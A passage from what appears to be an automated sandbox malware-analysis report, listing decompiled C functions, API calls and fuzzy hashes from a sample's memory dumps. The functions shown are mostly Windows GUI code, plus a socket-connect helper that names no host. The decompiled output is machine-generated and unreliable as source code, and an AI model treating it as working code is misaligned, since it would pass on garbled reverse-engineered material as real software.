$, xrefs: 00101D22

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Window$Long$CallProc
String ID: $
API String ID: 513923721-3993045852
Opcode ID: 30c795b8b24dc61bc7dab495b6971dd5598cd8bd0c40cb0ac22a44a8a7a3254c
Instruction ID: c97fccaf5d0266b297e9ff412ce0a215fc905ba1e349353ca78f75f6939a35d4
Opcode Fuzzy Hash: 30c795b8b24dc61bc7dab495b6971dd5598cd8bd0c40cb0ac22a44a8a7a3254c
Instruction Fuzzy Hash: C641D3B5A00209AFDB14DF59D88499BB7F9FF4C310B208A1AF895D7650D774E980CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 000F8AB0 Relevance: 10.6, APIs: 7, Instructions: 106
windowCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E000F8AB0(void* __ebx) {
				void* __edi;
				void* __esi;
				long _t27;
				void* _t64;
				void* _t83;

				_t64 = __ebx;
				_t27 = SendMessageA( *(__ebx + 0x254), 0xb8, 0, 0);
				if(_t27 !=  *(__ebx + 0x4b4)) {
					 *(__ebx + 0x4b4) = _t27;
					E000F8160(__ebx);
				}
				_t83 = _t64 + 0x3c;
				E000F53A0(0xe12b, _t83, SendMessageA( *(_t64 + 0x254), 0xc6, 0, 0));
				E000F53A0(0xe125, _t83, SendMessageA( *(_t64 + 0x254), 0x432, 1, 0));
				_t79 = 0 | SendMessageA( *(_t64 + 0x254), 0x442, 0, 0) != 0x00000000;
				E000F53A0(0xe123, _t83, SendMessageA( *(_t64 + 0x254), 0x442, 0, 0) != 0);
				E000F53A0(0xe122, _t83, SendMessageA( *(_t64 + 0x254), 0x442, 0, 0) != 0);
				E000F53A0(0xe120, _t83, _t79);
				_t80 = 0 | GetWindowTextLengthA( *(_t64 + 0x254)) > 0x00000000;
				E000F53A0(0xe12a, _t83, GetWindowTextLengthA( *(_t64 + 0x254)) > 0);
				E000F53A0(0xe124, _t83, GetWindowTextLengthA( *(_t64 + 0x254)) > 0);
				E000F53A0(0xe128, _t83, _t80);
				E000F53A0(0xe129, _t83, _t80);
				_t81 = _t83;
				E000F5440(0x9c43, _t83,  *((intOrPtr*)(_t64 + 0x4b0)));
				if(IsWindow( *(_t64 + 0x4c8)) != 0 && (GetWindowLongA( *(_t64 + 0x4c8), 0xfffffff0) & 0x10000000) != 0) {
					E000F53A0(0x9c46, _t83, 0 |  *((intOrPtr*)(_t64 + 0x504)) -  *((intOrPtr*)(_t64 + 0x508)) > 0x00000000);
					E000F53A0(0x9c4b, _t83, 0 |  *((intOrPtr*)(_t64 + 0x504)) -  *((intOrPtr*)(_t64 + 0x50c)) < 0x00000000);
				}
				_push(_t83);
				return E000F5580(_t81);
			}

0x000f8ab0
0x000f8ac2
0x000f8ace
0x000f8ad2
0x000f8ad8
0x000f8ad8
0x000f8af3
0x000f8afe
0x000f8b1b
0x000f8b3f
0x000f8b42
0x000f8b4d
0x000f8b58
0x000f8b76
0x000f8b79
0x000f8b84
0x000f8b8f
0x000f8b9a
0x000f8bab
0x000f8bad
0x000f8bc1
0x000f8bf0
0x000f8c0c
0x000f8c0c
0x000f8c11
0x000f8c19

APIs

SendMessageA.USER32(?,000000B8,00000000,00000000), ref: 000F8AC2
SendMessageA.USER32(?,000000C6,00000000,00000000), ref: 000F8AF6
SendMessageA.USER32(?,00000432,00000001,00000000), ref: 000F8B13
SendMessageA.USER32(?,00000442,00000000,00000000), ref: 000F8B30
GetWindowTextLengthA.USER32(?), ref: 000F8B64
IsWindow.USER32(?), ref: 000F8BB9
GetWindowLongA.USER32 ref: 000F8BCC

Part of subcall function 000F8160: lstrlenA.KERNEL32(?,?,?), ref: 000F8182
Part of subcall function 000F8160: LoadStringA.USER32 ref: 000F81A2
Part of subcall function 000F8160: lstrlenA.KERNEL32(?,?,?), ref: 000F81AF
Part of subcall function 000F8160: lstrcpyA.KERNEL32(?,?,?,?), ref: 000F81C4
Part of subcall function 000F8160: lstrcatA.KERNEL32(?,00112A2C), ref: 000F81DF
Part of subcall function 000F8160: lstrcatA.KERNEL32(?, - ), ref: 000F81E7
Part of subcall function 000F8160: lstrcatA.KERNEL32(?,?,?, - ), ref: 000F81F1
Part of subcall function 000F8160: SetWindowTextA.USER32(?), ref: 000F81F8

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: MessageSendWindow$lstrcat$Textlstrlen$LengthLoadLongStringlstrcpy
String ID:
API String ID: 2003012902-0
Opcode ID: a0c71c3dc196eac9e16852608f1e76493f5b8693d46ea2499feeefea358bc71d
Instruction ID: 7e8cb5755d2d3ca04800679eeea38f475debccd08e4c50caebabb349c58c9a7d
Opcode Fuzzy Hash: a0c71c3dc196eac9e16852608f1e76493f5b8693d46ea2499feeefea358bc71d
Instruction Fuzzy Hash: D031A3757005052BE704AB69CC85FEB2668EFC4701F948438BB05EF6C7C9B8E9419774

Uniqueness

Uniqueness Score: -1.00%

Function 000F6F30 Relevance: 10.6, APIs: 7, Instructions: 100
windowCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E000F6F30(int __ecx, int __edx, void* __esi, long _a4) {
				signed int _v8;
				int _v12;
				void* _v16;
				long _v20;
				void* _v28;
				void* __ebx;
				void* __edi;
				signed int _t31;
				long _t35;
				long _t39;
				long _t47;
				void* _t54;
				void* _t62;
				long _t66;
				long _t67;
				void* _t68;
				signed int _t69;
				long _t70;

				_t68 = __esi;
				_t31 =  *0x159060; // 0x1f9a9bdf
				_v8 = _t31 ^ _t69;
				_t35 = CallWindowProcA( *(__esi + 0x20),  *(__esi + 4), __edx, __ecx, _a4);
				_t54 = SendMessageA;
				_v20 = _t35;
				_v16 = 0;
				_v12 = 0;
				SendMessageA( *(__esi + 4), 0x434, 0,  &_v16);
				_t66 = _v12;
				_t39 = SendMessageA( *(__esi + 4), 0x436, 0, _t66);
				_t65 =  *(__esi + 4);
				 *(__esi + 0x50) = _t39;
				 *(__esi + 0x54) = 0;
				_t67 = _t66 - SendMessageA( *(__esi + 4), 0xbb, 0xffffffff, 0);
				if(_t67 > 0) {
					_t45 = _t67 + 1;
					if(_t67 + 1 < 2) {
						_t45 = 2;
					}
					E0010ACA0(_t45);
					_t47 = _t70;
					_v12 = _t47;
					 *_t47 = _t67;
					_t67 = SendMessageA( *(_t68 + 4), 0xc4,  *(_t68 + 0x50), _t47);
					_t62 = 0;
					if(_t67 > 0) {
						do {
							_t65 = _v12;
							if( *((char*)(_t62 + _t65)) != 9) {
								 *((intOrPtr*)(_t68 + 0x54)) =  *((intOrPtr*)(_t68 + 0x54)) + 1;
							} else {
								asm("cdq");
								 *((intOrPtr*)(_t68 + 0x54)) = 8 + ( *((intOrPtr*)(_t68 + 0x54)) + _t65 >> 3) * 8;
							}
							_t62 = _t62 + 1;
						} while (_t62 < _t67);
					}
				}
				SendMessageA(GetParent( *(_t68 + 4)), 0x7e8, 0, 0);
				return E001059E6(_v20, _t54, _v8 ^ _t69, _t65, _t67, _t68);
			}

0x000f6f30
0x000f6f36
0x000f6f3d
0x000f6f50
0x000f6f56
0x000f6f5c
0x000f6f66
0x000f6f69
0x000f6f75
0x000f6f77
0x000f6f86
0x000f6f88
0x000f6f95
0x000f6f98
0x000f6fa1
0x000f6fa5
0x000f6fa7
0x000f6fad
0x000f6faf
0x000f6faf
0x000f6fb4
0x000f6fbc
0x000f6fc0
0x000f6fc3
0x000f6fd1
0x000f6fd3
0x000f6fd7
0x000f6fe0
0x000f6fe0
0x000f6fe7
0x000f7001
0x000f6fe9
0x000f6fec
0x000f6ffc
0x000f6ffc
0x000f7004
0x000f7005
0x000f6fe0
0x000f6fd7
0x000f701d
0x000f7034

APIs

CallWindowProcA.USER32 ref: 000F6F50
SendMessageA.USER32(?,00000434,00000000,?), ref: 000F6F75
SendMessageA.USER32(?,00000436,00000000,?), ref: 000F6F86
SendMessageA.USER32 ref: 000F6F9F
SendMessageA.USER32(?,000000C4,?), ref: 000F6FCF
GetParent.USER32(?), ref: 000F700D
SendMessageA.USER32(00000000,000007E8,00000000,00000000), ref: 000F701D

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: MessageSend$CallParentProcWindow
String ID:
API String ID: 2381976986-0
Opcode ID: c4753e498027cef2aa06949a20c5bb49e8ea9f50a12dd9deef383a50626d3b6c
Instruction ID: 3d73a2ca7a291d13c1b142498c6f1bd906d126d5681992380b749653b40bf8e4
Opcode Fuzzy Hash: c4753e498027cef2aa06949a20c5bb49e8ea9f50a12dd9deef383a50626d3b6c
Instruction Fuzzy Hash: 2F315AB1A00708ABD720CB68CD81F6BB7F9FF88710F108919E65AD7A80DB70E904CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00100580 Relevance: 10.6, APIs: 7, Instructions: 91
windowCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E00100580(struct HMENU__** __ebx, intOrPtr _a4) {
				signed int _v12;
				struct tagRECT _v28;
				intOrPtr _v32;
				int _v36;
				struct tagMSG _v60;
				void* __edi;
				void* __esi;
				signed int _t32;
				struct HWND__** _t35;
				struct HMENU__** _t47;
				struct HMENU__* _t59;
				void* _t60;
				int _t62;
				signed int _t63;

				_t47 = __ebx;
				_t32 =  *0x159060; // 0x1f9a9bdf
				_v12 = _t32 ^ _t63;
				_t59 =  *__ebx;
				_v32 = _a4;
				if(__ebx[2] == 0) {
					L4:
					if(_t59 != 0) {
						DestroyMenu(_t59);
					}
					_t35 = _t47[1];
					_v28.left = _t35[6];
					_v28.top = _t35[7];
					_v28.right = _t35[8];
					_v28.bottom = _t35[9];
					MapWindowPoints( *_t35, 0,  &_v28, 2);
					_t60 = PeekMessageA;
					_v60.message = 0;
					_v60.wParam = 0;
					_v60.lParam = 0;
					_v60.time = 0;
					_v60.pt.x = 0;
					_v36 = 0;
					_t58 =  &_v60;
					_v60.hwnd = 0;
					if(PeekMessageA( &_v60,  *(_v32 + 4), 0x201, 0x201, 0) != 0) {
						_push(_v36);
						_t58 =  &_v28;
						if(PtInRect( &_v28, _v60.pt) != 0) {
							_t58 =  &_v60;
							_t40 = PeekMessageA( &_v60,  *(_v32 + 4), 0x201, 0x201, 1);
						}
					}
					return E001059E6(_t40, _t47, _v12 ^ _t63, _t58, _t59, _t60);
				}
				_t62 = GetMenuItemCount(_t59) - 1;
				if(_t62 < 0) {
					goto L4;
				}
				do {
					RemoveMenu(_t59, _t62, 0x400);
					_t62 = _t62 - 1;
				} while (_t62 >= 0);
				goto L4;
			}

0x00100580
0x00100586
0x0010058d
0x00100599
0x0010059b
0x0010059e
0x001005c0
0x001005c2
0x001005c5
0x001005c5
0x001005cb
0x001005d3
0x001005d9
0x001005df
0x001005ee
0x001005f1
0x001005f7
0x00100605
0x00100608
0x0010060b
0x0010060e
0x00100611
0x00100614
0x00100623
0x00100627
0x00100632
0x0010063a
0x0010063c
0x00100648
0x0010065d
0x00100661
0x00100661
0x00100648
0x00100672
0x00100672
0x001005a9
0x001005aa
0x00000000
0x00000000
0x001005b0
0x001005b7
0x001005bd
0x001005bd
0x00000000

APIs

GetMenuItemCount.USER32 ref: 001005A1
RemoveMenu.USER32(?,-00000001,00000400), ref: 001005B7
DestroyMenu.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,000FFDF9), ref: 001005C5
MapWindowPoints.USER32 ref: 001005F1
PeekMessageA.USER32(?,?,00000201,00000201,00000000), ref: 0010062E
PtInRect.USER32(?,?,?), ref: 00100640
PeekMessageA.USER32(00000000,?,00000201,00000201,00000001), ref: 00100661

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Menu$MessagePeek$CountDestroyItemPointsRectRemoveWindow
String ID:
API String ID: 638675735-0
Opcode ID: 55833e45416d3b894b2b2f528eaa32937a64d307a33e80b4dd381bf90c051153
Instruction ID: 61146ef48f3c4470f793c610dc0d910bc4915d1cefe5a378a932cedc1b7c2f20
Opcode Fuzzy Hash: 55833e45416d3b894b2b2f528eaa32937a64d307a33e80b4dd381bf90c051153
Instruction Fuzzy Hash: 73311C75E00218AFDB05CFA4DD85EEEBBF5AF4C710F008159E914AB290D7B0A941CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 000F8070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 85
windowCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E000F8070(void* __esi) {
				signed int _v8;
				void* _v108;
				void* __ebx;
				void* __edi;
				signed int _t16;
				int _t21;
				int _t23;
				void* _t31;
				intOrPtr _t33;
				intOrPtr _t36;
				intOrPtr* _t43;
				void* _t45;
				void* _t46;
				signed int _t47;

				_t46 = __esi;
				_t16 =  *0x159060; // 0x1f9a9bdf
				_v8 = _t16 ^ _t47;
				_t45 = wsprintfA;
				wsprintfA( &_v108, "Row: %i",  *((intOrPtr*)(__esi + 0x2a0)) + 1);
				_t33 =  *((intOrPtr*)(__esi + 0x248));
				_t31 = SendMessageA;
				_t21 = 0;
				if(_t33 > 0) {
					_t43 =  *((intOrPtr*)(__esi + 0x24c));
					while( *_t43 != 0xefdb) {
						_t21 = _t21 + 1;
						_t43 = _t43 + 4;
						if(_t21 < _t33) {
							continue;
						} else {
						}
						goto L7;
					}
					if(_t21 != 0xffffffff) {
						SendMessageA( *(_t46 + 0x228), 0x401, _t21,  &_v108);
					}
				}
				L7:
				_t42 =  &_v108;
				wsprintfA( &_v108, "Col: %i",  *((intOrPtr*)(_t46 + 0x2a4)) + 1);
				_t36 =  *((intOrPtr*)(_t46 + 0x248));
				_t23 = 0;
				if(_t36 <= 0) {
					L14:
					return E001059E6(0, _t31, _v8 ^ _t47, _t42, _t45, _t46);
				} else {
					_t42 =  *(_t46 + 0x24c);
					while(_t42->i != 0xefdc) {
						_t23 = _t23 + 1;
						_t42 = _t42 + 4;
						if(_t23 < _t36) {
							continue;
						} else {
							return E001059E6(0, _t31, _v8 ^ _t47, _t42, _t45, _t46);
						}
						goto L15;
					}
					if(_t23 != 0xffffffff) {
						_t42 =  *(_t46 + 0x228);
						SendMessageA( *(_t46 + 0x228), 0x401, _t23,  &_v108);
					}
					goto L14;
				}
				L15:
			}

0x000f8070
0x000f8076
0x000f807d
0x000f8088
0x000f8099
0x000f809b
0x000f80a1
0x000f80aa
0x000f80ae
0x000f80b0
0x000f80b6
0x000f80be
0x000f80bf
0x000f80c4
0x00000000
0x00000000
0x000f80c6
0x00000000
0x000f80c4
0x000f80cb
0x000f80de
0x000f80de
0x000f80cb
0x000f80e0
0x000f80e8
0x000f80f1
0x000f80f3
0x000f80fc
0x000f8100
0x000f8142
0x000f8153
0x000f8102
0x000f8102
0x000f8108
0x000f8110
0x000f8111
0x000f8116
0x00000000
0x000f8119
0x000f8129
0x000f8129
0x00000000
0x000f8116
0x000f812d
0x000f812f
0x000f8140
0x000f8140
0x00000000
0x000f812d
0x00000000

APIs

wsprintfA.USER32 ref: 000F8099
SendMessageA.USER32(?,00000401,00000000,?), ref: 000F80DE
wsprintfA.USER32 ref: 000F80F1
SendMessageA.USER32(?,00000401,00000000,?), ref: 000F8140

Strings

Row: %i, xrefs: 000F8093
Col: %i, xrefs: 000F80EB

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: MessageSendwsprintf
String ID: Col: %i$Row: %i
API String ID: 3751067900-1661183516
Opcode ID: b1d25342870b6f75dee136e5319438aa215cbf9019c4a5d3a30e13764eca53e3
Instruction ID: ec281ec5f1ca38c62eafcdf49868ae7a87c047bbf3742111e3f48df9c1c75761
Opcode Fuzzy Hash: b1d25342870b6f75dee136e5319438aa215cbf9019c4a5d3a30e13764eca53e3
Instruction Fuzzy Hash: AD21CF302102089FDB68CA68DC85AFBB3E9FB88320F508A2DE55AD7590DF70E885D740

Uniqueness

Uniqueness Score: -1.00%

Function 0400A090 Relevance: 10.6, APIs: 7, Instructions: 85
networkCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E0400A090(signed int __eax, intOrPtr _a4, signed short _a8, intOrPtr _a12, char _a16) {
				signed char _v8;
				short _v12;
				signed char _v13;
				signed int _v20;
				intOrPtr _v32;
				short _v34;
				char _v36;
				intOrPtr _v40;
				char _v44;
				signed int _t40;
				char* _t42;

				_push(6);
				_push(1);
				_push(2);
				L0400B210();
				_v20 = __eax;
				if(_v20 != 0xffffffff) {
					_v36 = 2;
					_push(_a8 & 0x0000ffff);
					L0400B20A();
					_v34 = 2;
					_push(_a4);
					L0400B204();
					_v12 = 2;
					if(_v12 == 0) {
						return 0xffffffffffffffff;
					}
					_v32 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v12 + 0xc))))));
					_v8 = 0;
					_v13 = 0;
					_v40 = 0;
					while(_v40 < _a12) {
						_push(0x10);
						_t42 =  &_v36;
						_push(_t42);
						_push(_v20);
						L0400B1FE();
						if(_t42 != 0) {
							_v40 = _v40 + 1;
							continue;
						}
						_v13 = 1;
						break;
					}
					if((_v13 & 0x000000ff) != 0) {
						if(_a16 != 0) {
							_v44 = _a16;
							_push(4);
							_push( &_v44);
							_push(0x1005);
							_push(0xffff);
							_push(_v20);
							L0400B1F2();
							_push(4);
							_push( &_v44);
							_push(0x1006);
							_push(0xffff);
							_push(_v20);
							L0400B1F2();
						}
						return _v20;
					}
					_t40 = _v20;
					_push(_t40);
					L0400B1F8();
					return _t40 | 0xffffffff;
				}
				return _v20;
			}

0x0400a096
0x0400a098
0x0400a09a
0x0400a09c
0x0400a0a1
0x0400a0a8
0x0400a0b7
0x0400a0bf
0x0400a0c0
0x0400a0c5
0x0400a0cc
0x0400a0cd
0x0400a0d2
0x0400a0d9
0x00000000
0x0400a0ea
0x0400a0e5
0x0400a0f2
0x0400a0f9
0x0400a0fd
0x0400a10f
0x0400a117
0x0400a119
0x0400a11c
0x0400a120
0x0400a121
0x0400a128
0x0400a10c
0x00000000
0x0400a10c
0x0400a12a
0x00000000
0x0400a12a
0x0400a138
0x0400a14c
0x0400a151
0x0400a154
0x0400a159
0x0400a15a
0x0400a15f
0x0400a167
0x0400a168
0x0400a16d
0x0400a172
0x0400a173
0x0400a178
0x0400a180
0x0400a181
0x0400a181
0x00000000
0x0400a186
0x0400a13a
0x0400a13d
0x0400a13e
0x00000000
0x0400a143
0x00000000

APIs

socket.WS2_32(00000002,00000001,00000006), ref: 0400A09C
htons.WS2_32(?), ref: 0400A0C0
gethostbyname.WS2_32(?), ref: 0400A0CD
connect.WS2_32(000000FF,?,00000010), ref: 0400A121
closesocket.WS2_32(000000FF), ref: 0400A13E

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: closesocketconnectgethostbynamehtonssocket
String ID:
API String ID: 530611402-0
Opcode ID: 747257bfaed683e84bc49f1cdc42f1adb0bebd178f9909ce09bf36877d3dd108
Instruction ID: a070b3506782e3d460d1e62e3f028d70face053f71bdd0f6ca274d7f1f380b7b
Opcode Fuzzy Hash: 747257bfaed683e84bc49f1cdc42f1adb0bebd178f9909ce09bf36877d3dd108
Instruction Fuzzy Hash: 65312B70B00319ABEB10EFE4D845BFEB7B5AF98314F108659E5217B2C0E7B5A940CB91

Uniqueness

Uniqueness Score: -1.00%

Function 000FD220 Relevance: 10.6, APIs: 7, Instructions: 78
windowCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E000FD220(void* __edi, void* __esi, intOrPtr _a4) {
				signed int _v12;
				struct tagRECT _v28;
				void* __ebx;
				signed int _t34;
				struct HWND__* _t36;
				int _t37;
				void* _t49;
				void* _t59;
				void* _t60;
				signed int _t61;

				_t60 = __esi;
				_t59 = __edi;
				_t34 =  *0x159060; // 0x1f9a9bdf
				_v12 = _t34 ^ _t61;
				_t36 =  *(__esi + 0x24);
				_t49 = GetWindowLongA;
				if(_t36 != 0 && (GetWindowLongA(_t36, 0xfffffff0) & 0x10000000) != 0) {
					if(_a4 != 0) {
						SendMessageA( *(__esi + 0x24), 5, 0, 0);
						InvalidateRect( *(__esi + 0x24), 0, 0);
					}
					_t56 =  &_v28;
					_v28.left = 0;
					_v28.top = 0;
					_v28.right = 0;
					_v28.bottom = 0;
					GetWindowRect( *(_t60 + 0x24),  &_v28);
					 *((intOrPtr*)(_t59 + 4)) =  *((intOrPtr*)(_t59 + 4)) + _v28.bottom - _v28.top;
				}
				_t37 =  *(_t60 + 0x28);
				if(_t37 != 0 && (_t37 & 0x10000000) != 0) {
					if(_a4 != 0) {
						SendMessageA( *(_t60 + 0x28), 5, 0, 0);
					}
					_v28.top = 0;
					_v28.right = 0;
					_v28.bottom = 0;
					_v28.left = 0;
					_t37 = GetWindowRect( *(_t60 + 0x28),  &_v28);
					_t56 = _v28.top - _v28.bottom;
					 *((intOrPtr*)(_t59 + 0xc)) =  *((intOrPtr*)(_t59 + 0xc)) + _v28.top - _v28.bottom;
				}
				return E001059E6(_t37, _t49, _v12 ^ _t61, _t56, _t59, _t60);
			}

0x000fd220
0x000fd220
0x000fd226
0x000fd22d
0x000fd230
0x000fd234
0x000fd23c
0x000fd24e
0x000fd25a
0x000fd268
0x000fd268
0x000fd270
0x000fd273
0x000fd276
0x000fd279
0x000fd27c
0x000fd284
0x000fd290
0x000fd290
0x000fd293
0x000fd298
0x000fd2aa
0x000fd2b6
0x000fd2b6
0x000fd2c1
0x000fd2c4
0x000fd2c7
0x000fd2cf
0x000fd2d6
0x000fd2df
0x000fd2e2
0x000fd2e2
0x000fd2f3

APIs

GetWindowLongA.USER32 ref: 000FD241
SendMessageA.USER32(?,00000005,00000000,00000000), ref: 000FD25A
InvalidateRect.USER32(?,00000000,00000000), ref: 000FD268
GetWindowRect.USER32 ref: 000FD284
GetWindowLongA.USER32 ref: 000FD29D
SendMessageA.USER32(?,00000005,00000000,00000000), ref: 000FD2B6
GetWindowRect.USER32 ref: 000FD2D6

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Window$Rect$LongMessageSend$Invalidate
String ID:
API String ID: 1214947677-0
Opcode ID: 2da4701ce2bd41fc5081b760d652fd595df9767af16d47abbeebc4c3cdbdf4d2
Instruction ID: 0d429e7a7e2fbe65cdc38931eecf04cd01d10727fccb8094d738399840d23239
Opcode Fuzzy Hash: 2da4701ce2bd41fc5081b760d652fd595df9767af16d47abbeebc4c3cdbdf4d2
Instruction Fuzzy Hash: 40311070A00709AFDB54DFA9CD89BAEB7F4AF0C710F10861AA515E7690DB70E980CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00100147 Relevance: 10.6, APIs: 7, Instructions: 73
windowCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E00100147() {
				void* __edi;
				void* __esi;
				signed char _t83;
				int _t90;
				void* _t106;
				void* _t107;
				signed char _t110;
				void* _t118;
				struct HWND__* _t134;
				void* _t135;
				void* _t136;
				int _t137;
				struct HMENU__* _t138;
				void* _t139;
				void* _t140;
				CHAR* _t141;
				signed int _t142;
				void* _t145;

				do {
					 *(_t142 - 0xe4) = 0;
					 *(_t142 - 0xe0) = 0;
					 *(_t142 - 0xdc) = 0;
					 *((intOrPtr*)(_t142 - 0xd8)) = 0;
					 *((intOrPtr*)(_t142 - 0xd4)) = 0;
					SendMessageA(_t134, 0x417, _t137, _t142 - 0xe4);
					if(( *(_t142 - 0xdc) & 0x00000008) == 0) {
						 *(_t142 - 0xf4) = 0;
						 *((intOrPtr*)(_t142 - 0xf0)) = 0;
						 *(_t142 - 0xec) = 0;
						 *((intOrPtr*)(_t142 - 0xe8)) = 0;
						SendMessageA(_t134, 0x41d, _t137, _t142 - 0xf4);
						_t83 =  *(_t142 - 0xdc);
						_t127 =  *(_t142 - 0xec);
						_t110 = _t83 >> 0x00000002 & 0x00000001;
						if( *(_t142 - 0xec) >  *((intOrPtr*)(_t142 - 0xfc))) {
							if((_t83 & 0x00000001) == 0) {
								_push(0xc7);
								_push(0);
								 *(_t142 - 0xd0) = 0;
								_push(_t142 - 0xcf);
								if(( *(_t142 - 0x110))[2] == 0) {
									E00106820();
									_t145 = _t145 + 0xc;
									 *((intOrPtr*)(_t142 - 0x134)) = 0;
									 *(_t142 - 0x120) = 0;
